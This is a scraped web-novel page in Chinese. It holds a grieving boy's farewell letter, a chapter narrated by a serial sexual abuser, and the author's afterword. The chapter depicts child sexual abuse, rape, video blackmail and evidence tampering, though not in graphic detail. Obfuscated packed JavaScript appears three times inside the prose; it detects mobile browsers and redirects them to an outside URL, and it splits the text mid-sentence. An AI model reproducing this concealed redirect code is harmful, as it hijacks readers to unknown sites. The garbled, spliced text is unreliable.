所有的恶都会殊途同归,所有的善都会落地为安。 世间法典,善恶有别,为恶意削爵,为善良加冕。 善意会在某一天,走向复兴,重返人间。 爱意会在某一天,绝境逢生,世事尽欢。 善意终会凯旋,爱意终会耀眼,青春终会等到一个“甘愿”。 * “善安”精神病院关闭后,赵阿姨将收拾好的迟予辰的行李包给了他的父母。 迟母翻看迟予辰行李包时,发现里面的衣服都是破破烂烂的,却很干净。 藏蓝色的围巾很眼熟,她拿起来看了又看,唯独这条围巾像没用过,还是新的。 她想起来了,这条围巾,是儿子要去B大上学前,艾嘉送给他的。 包里还放了几张他跟艾嘉在海边的合照,还有两个小人和小狗、仙女棒。 迟母不明白,为什么儿子要放这些,合照里的艾嘉的脸都磨损得快看不见眼睛、鼻子、脸了,好似被人抚摸过无数遍。 迟母把这些东西都拿了出来,正要拉上拉链,看到一侧隔层里露出来一个角。 她抽出来,是一封信,上面写着“艾嘉亲启”。 迟母向来尊重孩子的隐私,但儿子不在了,艾嘉也不在了。 就让她来看一看,这封当事人再也无法看到的信吧。 亲爱的小嘉同学: 如果迟哥没记错,这是迟哥第一次给你写信吧。 这事儿迟哥之前从没对谁做过,觉得挺矫情。不过,迟哥现在有些话想对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实,有一天,我会变成坏人,从来没在我的生命里出现过。 未来我也不希望出现。 我不想再犯下什么罪名了,我想把你解救出来。等你出来后,我就去自首。 我会去承担我该承担的责罚。有罪之人,都不该逃脱法律的审判。 迟哥希望新的一年,你可以不再受到一点伤害,可以好好治病,可以经常看一看外面的太阳。 小嘉同学,你要翻过旧篇章,要像解语花一样盛放。 你还记得,你跟我说过:“迟哥,你要陪我活到一百岁!”我逗你说:“小嘉同学,你能活到一百岁吗?” 你说:“迟哥,我活不到一百岁,你愿意折寿,分点给我吗?”我说:“小嘉同学,你这个自私鬼!谁要折寿分给你!不过……如果你一定想要活到一百岁,那我就成全你吧。” 小嘉同学,我现在后悔了,如果你是现在这样,我希望,你不要活到一百岁。 我很自私,是不是? 对不起,我不想看到你那么遭罪、那么痛苦的样子。 不过,不论你在哪里,你变成什么样,迟哥都会保护你。 我会去你的国度,守护每一个不同的你。 我不曾对谁心动,唯独对你。 青春摇晃,日光跌宕,我的心跳只对你大方。 我的喜欢静悄悄,无人知晓。 但我相信,总会有一朵云、一片海见证过,我喜欢你时的样子。 还有看到这封信的你,也会知道,对不对? 可惜……小嘉同学,你喜欢的人,不是我。 喜欢这种事,从来都强求不来。你喜欢谁是你的自由,迟哥只是告诉你,你不用必须回应,不用有什么心理负担。 你不喜欢我也没关系,甚至还不错。 因为……这样,我们就可以做一辈子的青梅竹马。 而你,永远是我的小嘉同学! 迟哥从来没想过跟你分开,如果有那么一天,一定是我死去的那天。 小嘉同学,新年好啊! 好想,跟你再在一起放仙女棒,跟你一起去看花灯,跟你一起去看蓝眼泪。 我们种的海棠花还有两三个月就要开花了,好想,跟你一起去看海棠花开。 好想,回到你十八岁之前,你笑容满面,追着讨伐我“怎么那么烦人,每次都要等你上下学”。 好想,回到校园,三月的百花园,樱花盛放,花瓣落在你脸上,我笑着不去拿,看着你粉面桃花的脸颊。 好想,我们都还是从前模样,还没有被命运捆绑,还可以去往莺飞草长。 还可以站在彼此身边,说: “小嘉同学,你好磨叽,穿个鞋要这么久吗,快迟到了。” “迟哥,快点,你再不快点,就追不上我了!” 小嘉同学,希望我们以后有机会做这些,希望一切来得及! 希望你的身边一直有我,不论以什么身份。 如果你看到星星眨眼睛了,代表我想你了! 你的迟哥 2016年2月8日零点 ——全文完—— 40. 假面 少年大多飞扬,大多肆意,大多意气风发。 在旁人眼里,霍盛源便是这样的存在。 他是邻居口中别人家的小孩,每次考试都是年级第一;他是女生们眼中的帅气男生,每年校园的表白墙上名字最多的是他;他是老师心中的好好学生,是优秀的班长…… 他温文尔雅、英俊出尘。 他是天之骄子,是上帝的宠儿。 只有他自己知道,他还是地狱使者,把一个个女孩,拉进地狱。 第一个被他拉进地狱的女孩是温姗,那年他高一,十六岁,正处于某种难以言说的痛苦中。 他急需纾解那种痛苦,他的身体很空,空得厉害。 被填满过的人,没法再空下来。事情始于他十岁那年。 十岁的他,表面看着跟别的小孩没什么区别,但只有他知晓,他活在地狱。 踏进地狱之门时,霍盛源根本不知道。 那日,霍盛源的父母外出,阿姨有事回家,他爸爸请来了一位叔叔照看他。 那位叔叔四十来岁,却没有大叔的大腹便便和油腻,他保养极佳,看起来也就三十出头,梳着大背头,有几分江湖气概。 他不是第一次见这位叔叔,这位叔叔之前来过他家里几次,每次来都很客气地给他带点小礼物。 他叫他“郝叔叔”。 郝叔叔那天来时,仍给他带了小礼物,不过那个小礼物有些特别。 霍盛源对这位郝叔叔完全没有提防心,那次被郝叔叔折磨了。 结束后,郝叔叔让他不能告诉任何人,如果说了,会告诉他爸爸,他作业每次都得满分,是郝叔叔帮他补习的,他根本不是什么天才。 霍盛源很在意自己在他爸爸那儿的评价,他喜欢爸爸说他是天才,天才多好,生来就与别人不同。 他是他爸爸的骄傲,不能成为他爸爸的耻辱。 这事,霍盛源守口如瓶,却没想到遭来了郝叔叔一次次的践ta,一次比一次更严重。 起初,在他家还有所克制,后来干脆让他来郝叔叔家里,对他进行各种羞辱与凌nue。 霍盛源不过是个孩子,他查了网上的信息,知道了郝叔叔的行为是犯罪。 他要告诉爸妈吗?他要报警吗? 不,他不要告诉爸妈!多丢人啊! 他也不要报警,因为他没有保存证据,最后只会是场笑话。 而且,他发现了一件很可悲的事,他竟然对郝叔叔一次次的凌nue上瘾了。 他从痛苦,开始慢慢享受这个过程;他从挣扎到慢慢顺从,甚至主动配合。 他觉得自己也有些毛病吧。 是什么毛病,他不知道,但他知道,郝叔叔施加在他身上的凌虐越重,他好像越痛快。 好像,毛毛雨落你身上,你毫无察觉,只有一场暴雨降临,你才会有酐畅淋漓的感觉。 后来,霍盛源会主动去郝叔叔家里,他在他家有时会看到别的男孩,跟他差不多大的,或者比他大一点的,都是非常好看的、精致的小男生。 这样的情况,一直持续到他十六岁。 他记得很清楚,那是盛夏的一天,他背着书包还想去郝叔叔家里,爸爸告诉他,郝叔叔死了。 死了?那个他昨天还刚见到的意气风发的英俊男人,死了? 曾经,他多么希望有一天,郝叔叔快点死,他恨他对自己一次次尊严的践踏,对身体的凌ru,恨自己对他莫名的上瘾。 他觉得,郝叔叔是一切恨意的源头,如果想要斩断,只有他死了,他才能重获新生。 可听到这个消息,他非但没感到痛快,反而感到一阵难受。 难受?当这个感受升起时,他觉得荒唐至极,但他还不能跟任何人说。 …… 那段时间,霍盛源独自消化,那个他极其厌恶、极其痛恨,又极其眷恋的人死了的消息。 但他无法独自消化,每天晚上郝叔叔都会来纠缠他,温柔的、暴虐的,对他施加各种惩罚,说他不能忘了他,说他是他的,一辈子都是他的! 那个郝叔叔,给他拷上了无数的隐形枷锁,让他无法挣脱。 他的身体、他的意识,统统被绑架,他成了夜里的孤魂野鬼。 他要去觅食,去觅新鲜血液,去尝一尝不同的滋味。 他对自己的前桌女生温姗下手了,下手前,他是她最好的朋友,是她最尊敬的班长大人。 他对她的一切了如指掌,那晚,他照例给她补习功课,等教室里都没人了,关灯了,他没有放她走,而是关了门,还偷偷锁上,冠冕堂皇地说要跟她一起在教室里看星星。 他知道,温姗对他有好感,甚至喜欢他。 他在她的数学课本上看到她写了好几个他的名字。 说是看星星,但霍盛源的余光一直没离开过温姗,她是那种温良的女生,不能说多好看,长相属于中等偏上,耐看型。 他的手开始在她脸上游走,她愣怔,他说:“温姗,你真好看!” 甜言蜜语总能让青春期萌动情愫的少女心动不已。 温姗动了情,以为他是喜欢自己的,羞涩地红了脸。 他俯身吻她,用力地吻,吻得几乎把她的嘴唇yao破。 这是亲吻吗?温姗以为这世上所有的亲吻都如此激烈。 她感到了霍盛源的狂热,以为是他很喜欢自己的表现。 但她没想到,他会狂热到将手想要tan进她的衣服里。她想抓住他的手,却被他用力抓住,听到他用狠厉的语气说:“温姗,你不是喜欢我吗,喜欢我,这点都不愿意给我?” 她是喜欢他,但没喜欢到,现在就要为他献身的地步。 她挣扎着,不愿意,但他还是执意地对她的身体进行掠夺。 “你再这样,我要喊人了!”温姗气得怒视他,完全没了享受,心生厌恶。 她喜欢的男神清风霁月,绝不是如此的登徒子! 温姗没来得及喊,她的嘴巴里便被塞进了一团东西,她的双手也被东西绑住。 她觉得不对劲,抬腿想要踢他,他却狠命地抓住她的脚,用力捏痛她的脚踝,把她整个人狠狠地放到课桌上。 那是他第一次对女生进行无情的践踏,事后,他让温姗不要说,如果说了,他会把刚才录下来的视频给她的家人看,放到学校的论坛里。 温姗痛不欲生地哭:“你放啊,你放了的话,你不也曝光了。” “我会剪辑,只会放你的脸。”霍盛源笑得那么温柔无害,说得那么平和淡然。 “你这个禽兽!”温姗大骂。 “我不会亏待你,一次给你两百块钱。” 霍盛源知道她家里穷,父母早早离异,她跟了父亲,父亲常年不归家,据说成天在外面干些偷鸡摸狗的事,是看守所里的常客。 家里还有一位年迈的奶奶,一身基础病,常年吃药,家里穷得叮当响,上学的钱,还是奶奶跑遍全村借来的。 从那以后,温姗成了霍盛源的发xie工具,他只有在越来越暴虐的施虐中,才能感到痛快。 * 高二那年,霍盛源干脆租了间快拆迁的老房子,专门满足自己的原始yu望。 他成了最好的猎手,看准猎物,步步为营,总能把那些对他有好感的女生引上钩,让她们对他俯首称臣。 其中,也有一次次挣扎的,也有渐渐上瘾的,但最特别的要数艾嘉。 她不挣扎,不上瘾,她目光呆滞,她毫无生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284108|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的她,多特别,多让他上瘾。 她越是这样,他非要折磨她,折磨到她挣扎,她大喊大叫,她的眼睛里有泪水。 他要她跟别的女生一样,对他上瘾。 他要做她们的解药。 他换了无数的女生,但一直没换的是艾嘉。 …… 高考志愿,他爸让他填首都的最高学府,他填是填了,但最后分数没达到,没达到是他故意做的,他控分了。 他要继续留在蓝城,继续跟他的艾嘉在一起。 如果不是那天迟予辰发现了他跟艾嘉的秘密,他还想一辈子wan她。 那天对霍盛源来说是黑暗的,他本来想好好地玩一玩艾嘉,结果,迟予辰的出现,不仅扰了他的兴致,还制造了一场遭难。 他被迟予辰打得浑身疼,尤其是腿,感觉都要断了。 当他看到迟予辰拿着剪刀要剪自己小弟时,简直吓坏了,那可是他的极乐源泉,要是没了,以后还怎么痛快! 还好,迟予辰只是把剪刀扎进了他的大腿,竟然还给他喊了救护车。 但他想,只要迟予辰在一天,他就不能好好玩艾嘉。 霍盛源跟爸妈哭诉自己被好朋友打断腿的事,却对自己qin犯艾嘉的事只字未提。 去医院前,他找来了他最信任的女生来到他家,让她把家里的道具都搬走了。 他还清理了客厅的现场,制造出他是受害者的场景。 主治医生是他认识的,是他爸爸的好朋友,他跟医生说,希望出一份腿断了的报告,腿要打好石膏吊起来。 主治医生本来不想这么做,但被他说服了,因为他说,坏人就应该受到惩罚。 他希望这个坏人,可以蹲局子。 警察来找他录口供、做笔录,他按照自己原先想好的说了一遍,说他约好了让艾嘉来他家玩,艾嘉来了没多久,迟予辰也来了,来了之后便跟他起了争执,说他欺骗艾嘉的感情,让艾嘉不要跟他在一起。 可他们只是好朋友,迟予辰非但不理解,还跟他吵起来,让他以后离艾嘉远点。当时,他越听越气,两人争执起来。迟予辰气得拿起棒球棍打他,乱打一通。 他没想到迟予辰下手会这么狠,身上不仅被打得都是一道一道的淤痕,他的腿也被打断了。 警察说会好好调查此事,如果他真是恶意伤人,按照这样的伤人程度,要被判三年以上。 当时霍盛源暗自得意,被判三年以上啊,多好! 那样,他就可以继续跟他的艾嘉玩了。 他不是没想过,如果警察找到了迟予辰,问他当时发生了什么,迟予辰的说辞会跟他的截然不同。 那又有什么关系? 他会找证人,证明他没有说谎,而迟予辰说的,不过是为了摆脱罪证在说谎。 一切都在他的掌控中。 但他没想到,迟予辰跑了,人间蒸发了。 他的艾嘉,被家人送去了精神病院。 他不担心迟予辰会逃到哪儿,不管他逃到哪里,都插翅难飞,警察一定会找到他。 至于艾嘉,倒是极为可惜,以后从哪儿再找一个像她那样好玩的女生? 艾嘉可是第一个跟他分析他名字的人: “霍盛源,你知道你为什么叫霍盛源吗,你的名字就是罪恶!因为霍盛源就是,盛大源头的祸端。你以为你祸害了别人,就可以逃过法律的制裁吗?法网恢恢,疏而不漏,总有一天,你会得到应有的惩罚!” 霍盛源听了觉得还挺有意思,是盛大源头的祸端又怎样,是别人的,一定不会是他的! 他是戴着假面的猎人,是地狱使者。 他这个地狱使者,要继续寻找下一个猎物了。 41. 后记 每每想起要写这个后记时,总不知该如何落笔。 我该从何说起呢,关于艾嘉的故事,她成了我的隐痛,一直留在心中。 最初故事设定是he,想写一个女生的暗恋故事,她跟其他女生一样平凡普通,但有点不同的是,她的暗恋是勇敢的。 她敢于制定“攻略男神计划”,甘愿为了男神绕远路、主动找他补课、贴心地给他买奶茶。 暗恋对象对她也很好很好,一切都如此美好,宛若在樱花树下初见少年,一眼心动。 * 可是,这样的情节是进行不下去的,没有起伏,没有波澜,像桌上那杯可有可无的白开水,食之无味,实在没法写下去。 为此,我苦恼了好一阵,也搁笔不写了。 后来,我构思许久,重新梳理人设和故事框架,才终于有了如今你们看到的这个故事。 不是想刻意让艾嘉经历一波又一波的苦难,而是当设定这个人物后,我在写的时候,这个人物有了自己的思想和意志。 她的言行举止不再随着我而发生变化,她想做什么,她在说什么,都成为了她的意志。 看着她的命运波澜般起伏,看着她的喜怒哀乐诞生,我的心绪会随着她的情绪而流动。 * 她热烈追求暗恋对象、跟邻家竹马互怼日常、捧着大西瓜给竹马庆祝,我会被如此乐观勇敢的艾嘉感染。 她身心受到伤害,被关进精神病院,思维错乱,几重人格纷纷登场,她的悲剧人生也掀开了另一重帷幕。 从她的日记里,可以窥见她的部分经历,看每个字时,那些字就像在我的世界下着雨。 伴随着轰隆声响起的,还有艾嘉的呐喊和哭声。 可惜,她的呐喊无人听见,她的眼泪无人擦拭,她只能缩在黑暗的角落,做一只蝼蚁。 她想过要前途无量,想过要给自己打造一座理想国,可是,她跌跌撞撞,浑身是伤。 在她的记忆回溯里,我写的时候,屡次流泪,为她的悲惨遭遇,也为她跟竹马深厚的感情。 18年的青梅竹马情谊,是坚不可摧的城墙,成了她唯一的护城河。 * 竹马迟予辰的暗恋,也始终让我格外动容。 他看到艾嘉心情不好,送她海棠花: “小嘉同学,海棠花又叫解语花,你不开心了,就找它说说话,它能懂你的心。” 当他看到艾嘉给他拍终于盛开的海棠花时,秒回:【小嘉同学,你要像解语花一样盛放。】 海棠花,别名解语花,又叫断肠花,花语是:苦恋。【注】 迟哥的喜欢,藏在甜橙糖果糖衣的最下面,藏在她不知道的情侣甜橙手链里,藏在藏头诗里,藏在那一只只千纸鹤里…… * 艾嘉明明知道只有自己甘愿往前走,才能听见骨骼生长的声音。 可是,于她而言,她所经历的痛苦无法诉之于口,只能带入坟墓。 这是她最后的坚持和倔强,也是她无法逆转的命运。 我很想下笔轻一点,不要对这么美好的女生那么残忍,可是,他们有了自己独有的生命力,我怎么也无法牵住故事的缰绳,将他们引入我想要的结局里。 以至于,我像个旁观者一样,看着艾嘉的故事,一遍遍掉眼泪,很心疼这个姑娘,很想抱抱她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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